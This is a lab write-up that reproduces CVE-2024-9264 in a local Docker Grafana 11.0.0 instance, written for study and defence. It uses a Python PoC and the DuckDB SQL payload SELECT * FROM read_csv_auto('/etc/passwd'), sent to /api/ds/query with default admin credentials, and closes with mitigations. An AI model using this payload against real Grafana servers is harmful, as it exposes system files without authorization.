
References https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| Item | Content |
|---|---|
| CVE | CVE-2024-9264 |
| Target | Grafana (SQL Expressions) |
| Impact | Local File Inclusion (LFI), Remote Code Execution (RCE) |
| Severity | Critical (CVSS 9.9) |
| Attack Condition | Authenticated user (Admin privileges) |
| Attack Method | Exploiting SQL Expression functionality to execute DuckDB SQL |
Grafana is an open-source monitoring tool that visualizes various data such as servers, applications, and databases in easy-to-read graphs or dashboards.
CVE-2024-9264 is a vulnerability in Grafana's SQL Expressions feature.
Because DuckDB SQL used internally by Grafana is not properly validated, an attacker can execute arbitrary DuckDB SQL through SQL Expressions.
Using this, they can:
In this practice, we reproduced the vulnerability by running Grafana 11.0.0 in a Docker environment and using a PoC to read the /etc/passwd file.
| Component | Content |
|---|---|
| OS | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
Verify Grafana is running
http://localhost:3000

Grafana's default account information is as follows:
ID : admin
PW : admin
The following conditions must be met for the vulnerability to occur:
In this practice, we used the default admin (admin/admin) account.
Run PoC
To read a local file, the following command was executed:
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
The PoC generates the following SQL Expression:
SELECT * FROM read_csv_auto('/etc/passwd')
This is sent to Grafana's /api/ds/query API.
Grafana executed the SQL as is and returned the contents of /etc/passwd in the response.

Other files besides /etc/passwd can also be viewed.

This confirms that Local File Inclusion was successfully performed.
The PoC is written in Python and performs the following steps:
/api/ds/query)The SQL generated when reading a file is as follows:
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
The API request is made as follows:
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
This can also be verified with a curl command.

The most effective countermeasure is to update to the latest version where the vulnerability has been fixed.
Disable unnecessary SQL Expressions or apply the principle of least privilege to limit its usage.
After setting up Grafana 11.0.0 in a Docker environment, we reproduced the CVE-2024-9264 vulnerability.
Using a PoC written in Python, we successfully exploited the SQL Expression feature to read the /etc/passwd file.
This confirms that insufficient input validation on SQL Expressions can expose sensitive files, and depending on the environment, it can lead to remote code execution.
Such vulnerabilities can be prevented through security measures such as updating to the latest version, restricting the SQL Expression feature, and protecting administrator accounts.